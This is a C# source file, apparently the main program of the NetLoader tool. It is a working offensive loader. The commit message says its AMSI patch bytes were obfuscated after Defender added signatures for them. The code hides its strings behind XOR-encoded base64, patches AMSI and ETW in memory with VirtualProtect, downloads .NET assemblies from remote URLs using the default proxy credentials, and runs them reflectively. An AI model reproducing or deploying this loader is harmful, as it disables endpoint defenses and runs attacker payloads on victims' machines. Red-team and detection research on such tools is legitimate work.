Files
Flangvik-NetLoader/Source/Program.cs
T
Flangvik 4ca3953b12 Added ETW unhook based on the RastaMouse SharpC2 code https://github.com/SharpC2/SharpC2/blob/dev/AgentModules/StageOne/Execution/RemoteExecution.cs
Fixed signature update aswell, this time defender actually added signatures for the bytes used to patch AMSI. Obfuscated and fixed :)
2020-06-19 23:11:20 +00:00

281 lines
18 KiB
C#

using System;
using System.IO;
using System.Net;
using System.Text;
using System.Reflection;
using System.Runtime.InteropServices;
using System.Linq;
using System.Threading;
//This if for MSBuild LOL bin stuff later
//using Microsoft.Build.Framework;
//using Microsoft.Build.Utilities;
public class CopulatesBaldwin{
private static object[] AstayPatronise = null;
[DllImport("kernel32")]
private static extern bool VirtualProtect(IntPtr TinctoriallyVitrail, UIntPtr MotormanCoigning, uint SemidiapenteSubcontinent, out uint MaximizeDolors);
[DllImport("kernel32")]
private static extern IntPtr GetProcAddress(IntPtr RajeshAvertin, string RibbidgeFixures);
[DllImport("kernel32")]
private static extern IntPtr LoadLibrary(string SumoistBeyship);
private static byte[] DamkjerniteIntrosume(string url)
{
HttpWebRequest MenzieBethumps = (HttpWebRequest)WebRequest.Create(url);
MenzieBethumps.Proxy.Credentials = CredentialCache.DefaultCredentials;
MenzieBethumps.Method = Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("BDch"), "CrumblyUncitable"));
WebResponse PyelogramPoxvirus = MenzieBethumps.GetResponse();
MemoryStream ms = new MemoryStream();
PyelogramPoxvirus.GetResponseStream().CopyTo(ms);
return ms.ToArray();
}
private static byte[] MachismosCircumspective(string NonfailureDiscommodate, FileMode NormocyteUnfringe)
{
byte[] RefitsWit = null;
using (FileStream fs = new FileStream(NonfailureDiscommodate, NormocyteUnfringe, FileAccess.Read))
{
RefitsWit = new byte[fs.Length];
fs.Read(RefitsWit, 0, (int)fs.Length);
}
return RefitsWit;
}
private static void EtheriidaeUnshrined()
{
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("AQoRAgNbQw=="), "TypefaceEmeries")));
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("BhwNBhd3QTVLEFNQPHM0QRkdP0FSDRccWjxzQhwABiVBUgQbCwUTKjAcAAYlX049XwQWBiBPUAMbIwAcHy0EFgYgUTE="), "SolarManfreda")));
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CBFKF1tRVFQ6HTcGAQgHEwFPFDgEAFUdBBwVGAg3ChxGABwJBhE1EQ4bCkUaHBQZYw4CCkkdGQcXJkUXFB8EAxEBCDEcTgcbF00NEycAUUFNAAAXGgkmC0A="), "TegumentumConfirmor")));
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("HxtLHgMbVEcaHhEEHwYPEgVaFQUxDgsDGAwcRzwAAQQTCRUaBx1FECsOEkYOAAAGJxdFCxkEBABJGxcBYzcpNEwMAAQnFxUZFQxPUyQPFhBjDQNGCgYCCzoZAAlQChhTHRIARBsgNEYIDA0VLB4RBB8GQRgMA0s="), "CofflingUnemphasized")));
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("FBFBGQ4ZDU5SJAIvCBQZBhQcUh8UASkICR0KH0tUOwcHKA8UGQwVRQYHEFM4BBgBQ00AHQYBBjNMGQIKBwlSAAdTKUU5OyNBRRsUSRcpCVUPAAgEABZVBydFAAYOCUs="), "HeliometricAlumiferous")));
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("GBFOAB8XFl5wPRUHDAMCHSUJQxEMAgQJNQYAAUUZHxYgRRcOTQAEFyNSBAECGQEWKhEQQRkfRRA4F0UfCg0IFiBFAQgDERcdflIoBhYYTBEhRQUOARwKEzUWRREcTA0fKEUCEwoFCAE+BhZTAwMeUzANBkEPGQsFIgtL"), "DecampedPresells")));
}
private static void AerobusDiaphote(byte[] MelancholishCosecs, string UndergarmentsZephyrean)
{
StrictnessInfarct(PelvirectalMeagreness(UnnaturalismRusticial(SwatheableResole(MelancholishCosecs, UndergarmentsZephyrean))));
}
private static IntPtr TrihydrideProffer(IntPtr NoveltyAgeisms)
{
uint VelicRigourism = 0;
if (VirtualProtect(NoveltyAgeisms, (UIntPtr)CinematizeUnridably().Length, 0x40, out VelicRigourism))
{
return NoveltyAgeisms;
}
else
{
return (IntPtr)0;
}
}
private static object StrictnessInfarct(MethodInfo AlatedYelps)
{
if (DaughterUnslurred(AlatedYelps) == AlatedYelps.ReflectedType)
return AlatedYelps.Invoke(null, AstayPatronise);
return AstayPatronise[0];
}
private static IntPtr LoggieDunites()
{
return GetProcAddress(LoadLibrary(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("JwwfBVc0CQg="), "FallyPedantize"))), Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ABgeAD8HABwOGgEJCBM="), "AumildarLogomachs")));
}
private static Assembly UnnaturalismRusticial(byte[] BrodyagaSlobbered)
{
return Assembly.Load(BrodyagaSlobbered);
}
private static byte[] SwatheableResole(byte[] PreformismRechurn, string OverbrayLibera)
{
//byte[] keyBytes = Encoding.UTF8.GetBytes(OverbrayLibera);
byte[] RefitsWitBytes = new byte[PreformismRechurn.Length];
for (int i = 0; i < PreformismRechurn.Length; i++)
{
RefitsWitBytes[i] = (byte)(PreformismRechurn[i] ^ Encoding.UTF8.GetBytes(OverbrayLibera)[i % Encoding.UTF8.GetBytes(OverbrayLibera).Length]);
}
return RefitsWitBytes;
}
private static Type DaughterUnslurred(MethodInfo AlatedYelps)
{
return AlatedYelps.ReflectedType;
}
private static void UnquemeOverreduce()
{
try
{
var HyoplastronHandwrought = IsochorTushes();
uint UntenuousnessSalpingectomy;
var ThoroughlyOnychia = LoadLibrary(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IhUGBQNCDQIL"), "LabiolingualBagasses")));
var TranshippedOverfishing = GetProcAddress(ThoroughlyOnychia, Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("BhwYNxMVBwc0HRkRMQ=="), "ChorepiscopeThallogen")));
VirtualProtect(TranshippedOverfishing, (UIntPtr)HyoplastronHandwrought.Length, 0x40, out UntenuousnessSalpingectomy);
Marshal.Copy(HyoplastronHandwrought, 0, TranshippedOverfishing, HyoplastronHandwrought.Length);
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("EkUqTyYbByoCBhIIGggDF1QaBwwmARwKEU4hHTBU"), "InwoundIguanodontoid")));
}
catch
{
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CEI1TyoeEAALSQYGBBY7GQgHC0U3PSNE"), "SchoolboyishlyTrailerite")));
}
}
private static byte[] IsochorTushes()
{
if (!LeucocrateSuperseraphically())
return Convert.FromBase64String(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Mw0yKA=="), "DecinormalProtochorMelancholishCosecs")));
return Convert.FromBase64String(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IhlNTw=="), "UnproliferousOctasemic")));
}
private static byte[] CinematizeUnridably()
{
if (!LeucocrateSuperseraphically())
return Convert.FromBase64String(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("JSkQNTJaITYqLi9U"), "PostpneumonicStethal")));
return Convert.FromBase64String(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ICgTIDBVNy0="), "UnparasiticallyJumpiest")));
}
private static void AllegoristerMalarrangement(string ManservantWamefou, string[] DetentesRahul, bool MothproofEuropeanlyoded = false, string UndergarmentsZephyrean = "", int ExEvenoo = 0)
{
CauseurRebecks(ExEvenoo);
if (!string.IsNullOrEmpty(string.Join(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ZA=="), "DisquietednessIntoxicatively")), DetentesRahul)))
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("EEI/SSEoJUE3BTU/RFZF"), "KibitzingDawdles")) + ManservantWamefou + Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Dx0JGRgWGgYcVUlM"), "NonlustrouslyUnvivacious")) + string.Join(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ZA=="), "DisquietednessIntoxicatively")), DetentesRahul));
else
{
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("EEI/SSEoJUE3BTU/RFZF"), "KibitzingDawdles")) + ManservantWamefou + Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Dx0JGRgWGgYcVUlM"), "NonlustrouslyUnvivacious")) + string.Join(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ZA=="), "DisquietednessIntoxicatively")), DetentesRahul));
}
AstayPatronise = new object[] { DetentesRahul };
if (MothproofEuropeanlyoded && ManservantWamefou.ToLower().StartsWith(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IBUGFQ=="), "HarelikeRecollecting"))))
{
AerobusDiaphote(DamkjerniteIntrosume(ManservantWamefou), UndergarmentsZephyrean);
}
else if (!MothproofEuropeanlyoded && ManservantWamefou.ToLower().StartsWith(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IBUGFQ=="), "HarelikeRecollecting"))))
{
GrievantsBombycidae(DamkjerniteIntrosume(ManservantWamefou));
}
else if (!MothproofEuropeanlyoded && !ManservantWamefou.ToLower().StartsWith(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("IBUGFQ=="), "HarelikeRecollecting"))))
GrievantsBombycidae(MachismosCircumspective(ManservantWamefou, FileMode.Open));
else
AerobusDiaphote(MachismosCircumspective(ManservantWamefou, FileMode.Open), UndergarmentsZephyrean);
}
public static int CauseurRebecks(int ShoppishFaba)
{
ServicePointManager.SecurityProtocol = (SecurityProtocolType)ShoppishFaba;
return ShoppishFaba;
}
private static string DelocalisingArmrests(string PreformismRechurn, bool AccomplishesSexist)
{
if (AccomplishesSexist)
PreformismRechurn = Encoding.UTF8.GetString(Convert.FromBase64String(PreformismRechurn));
if (PreformismRechurn.Trim().ToLower().Equals(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Ow=="), "CodebookTitanesque"))))
Environment.Exit(0);
return PreformismRechurn;
}
public static void Main(string[] args)
{
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("HFgwTh81GAgNBhoFEmFeQxYxGxwORB1nWiMLFT8bCAcEHg=="), "GymnasticallyArchpirate")));
UnquemeOverreduce();
AmylometerOrthodiagraphy();
int DioptometerSuccedaneum = (Convert.ToInt32(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Y0pR"), "PreclassicRomancy"))) * Convert.ToInt32(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("aA=="), "PlurilocularNondemonstrability"))));
string AsclepinVvll = "";
string[] UnguicornAponeurositis = new string[] { };
bool BactericidinUpbray = false;
bool MothproofEuropeanly = false;
string UndergarmentsZephyrean = "";
if (args.Length > 0)
{
foreach (string argument in args)
{
if (argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("a0IQU0c="), "ForeseatAcroblast")) || argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("bwNYUA=="), "BandagistBurgomastership")))
{
BactericidinUpbray = true;
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("GUcoRicJHmUZBhUUCBUHBBtZEhcETAANBgNQUVIgFhcdBQAURVAMHBAKBQUsC1USDgAfZRcaUhUNFUkWBAA="), "BlufferExtraepiphyseal")));
}
if (argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("bhcBBg=="), "ContraceptivesMegatherm")) || argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("eUIIHB0="), "TopsoiledPneumonorrhagia")))
{
MothproofEuropeanly = true;
int HookingEmptive = Array.IndexOf(args, argument) + 1;
if (HookingEmptive < args.Length)
{
string DharmashastraUnderlaps = args[HookingEmptive];
if (BactericidinUpbray)
UndergarmentsZephyrean = Encoding.UTF8.GetString(Convert.FromBase64String(DharmashastraUnderlaps));
else
UndergarmentsZephyrean = DharmashastraUnderlaps;
}
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("DEopRTYIDBweFQYhGwpPKiYhVBY5AgYcAhkKCkcHGyYUHxZSHAAdHTBBHwALTUgVVxhV"), "WatermongerHumorists")), UndergarmentsZephyrean);
}
if (argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("aAgCBg0="), "ExcrescentlyThimblemaker")) || argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("fUweBRUG"), "PandanaceousFluoridisation")))
{
int HookingEmptive = Array.IndexOf(args, argument) + 1;
if (HookingEmptive < args.Length)
{
string SporophyllaryDiarticular = args[HookingEmptive];
if (BactericidinUpbray)
AsclepinVvll = Encoding.UTF8.GetString(Convert.FromBase64String(SporophyllaryDiarticular));
else
AsclepinVvll = SporophyllaryDiarticular;
}
}
if (argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("fhQcFAc="), "SunstonesWolly")) || argument.ToLower() == Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("ZkQKExUy"), "KikarAnalogs")))
{
int CannibalisticallyWhitewasher = Array.IndexOf(args, argument) + 1;
int CatharisticWirings = args.Length - CannibalisticallyWhitewasher;
UnguicornAponeurositis = new String[CatharisticWirings];
for (int i = 0; i < CatharisticWirings; i++)
{
string SporophyllaryDiarticularArgs = args[CannibalisticallyWhitewasher + i];
if (BactericidinUpbray)
UnguicornAponeurositis[i] = Encoding.UTF8.GetString(Convert.FromBase64String(SporophyllaryDiarticularArgs));
else
UnguicornAponeurositis[i] = SporophyllaryDiarticularArgs;
}
}
}
if (string.IsNullOrEmpty(AsclepinVvll))
{
EtheriidaeUnshrined();
Environment.Exit(0);
}
AllegoristerMalarrangement(AsclepinVvll, UnguicornAponeurositis, MothproofEuropeanly, UndergarmentsZephyrean, DioptometerSuccedaneum);
Environment.Exit(0);
}
while (true)
{
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("Fl4zTigdIwAERSpPAABUBBwXQQokBAIKQQc8VRUdGxtI"), "MannasSuperointernal")));
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CFMoTT4aUwQkA1IIBiMZAU0VCAAAfltSBAYwAxEIE0lMRTFAHEFFbUw="), "SlumwiseHorah")));
BactericidinUpbray = GalactosemicHatchling(Console.ReadKey(false).Key);
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("GFAwUCULEwEHbQUSFx1MAAFQHBwNTG5RTQ=="), "ComplectsMusculospinal")));
AsclepinVvll = DelocalisingArmrests(Console.ReadLine(), BactericidinUpbray);
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("C1ckUyYQTB0bEU8FEjENHxEBTjQJDRJPOyM7UxEBFgExEQQVAU5vSABcAUNBV1M="), "PhysoclistousHappen")));
MothproofEuropeanly = GalactosemicHatchling(Console.ReadKey(false).Key);
if (MothproofEuropeanly)
{
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("FVAzTSwPAwAGQRYBCUksNhlFBwk3T0NTRQ=="), "NonmeasurabilityKell")));
UndergarmentsZephyrean = DelocalisingArmrests(Console.ReadLine(), BactericidinUpbray);
}
Console.WriteLine("[?] Input payload args (optional) -> ");
UnguicornAponeurositis = DelocalisingArmrests(Console.ReadLine(), BactericidinUpbray).Split(' ');
if (AsclepinVvll.Length > 0)
{
AllegoristerMalarrangement(AsclepinVvll, UnguicornAponeurositis, MothproofEuropeanly, UndergarmentsZephyrean, DioptometerSuccedaneum);
}
}
}
private static bool LeucocrateSuperseraphically()
{
if (IntPtr.Size == 4)
return false;
return true;
}
private static void GrievantsBombycidae(byte[] MelancholishCosecs)
{
StrictnessInfarct(PelvirectalMeagreness(UnnaturalismRusticial(MelancholishCosecs)));
}
private static MethodInfo PelvirectalMeagreness(Assembly asm)
{
return asm.EntryPoint;
}
private static bool GalactosemicHatchling(ConsoleKey InsectileGlobeflower)
{
if (InsectileGlobeflower == ConsoleKey.X)
Environment.Exit(0);
return (InsectileGlobeflower == ConsoleKey.Y);
}
private static void AmylometerOrthodiagraphy()
{
IntPtr NoveltyAgeisms = TrihydrideProffer(LoggieDunites());
if (NoveltyAgeisms != (IntPtr)0)
{
Marshal.Copy(CinematizeUnridably(), 0, NoveltyAgeisms, CinematizeUnridably().Length);
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CE4lTz8aBAoWBz0HBg0eHXMVGRsPBwINUzUDMjpA"), "SexologistNasard")));
}
else
{
Console.WriteLine(Encoding.UTF8.GetString(SwatheableResole(Convert.FromBase64String("CE4wRSISERccAAAAdS85NidBKDUoLikh"), "SomersettingUntenantableness")));
}
}
/*
//This is for MSBuild later
public class ClassExample : Task, ITask
{
public override bool Execute()
{
CopulatesBaldwin.Main(new string[] { });
return true;
}
}
*/
}